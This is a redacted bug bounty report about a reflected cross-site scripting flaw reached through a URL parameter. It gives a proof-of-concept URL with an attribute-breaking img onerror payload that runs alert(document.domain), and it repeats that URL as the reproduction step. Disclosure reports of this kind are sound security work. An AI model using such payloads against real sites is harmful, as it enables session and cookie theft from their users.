Reflected XSS at https://█████████ via "███" parameter

How it was found

Description:

There is Reflected Cross site scripting issue at the following url:

https://█████████

Proof Of Concept

https://███████?████████=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E

█████

Best Regards

@pelegn

Impact

Cookies Exfiltration SOAP Bypass CORS Bypass Executing javascript on the victim behalf

System Host(s)

████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Navigate to https://█████?████████=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E

Suggested Mitigation/Remediation Actions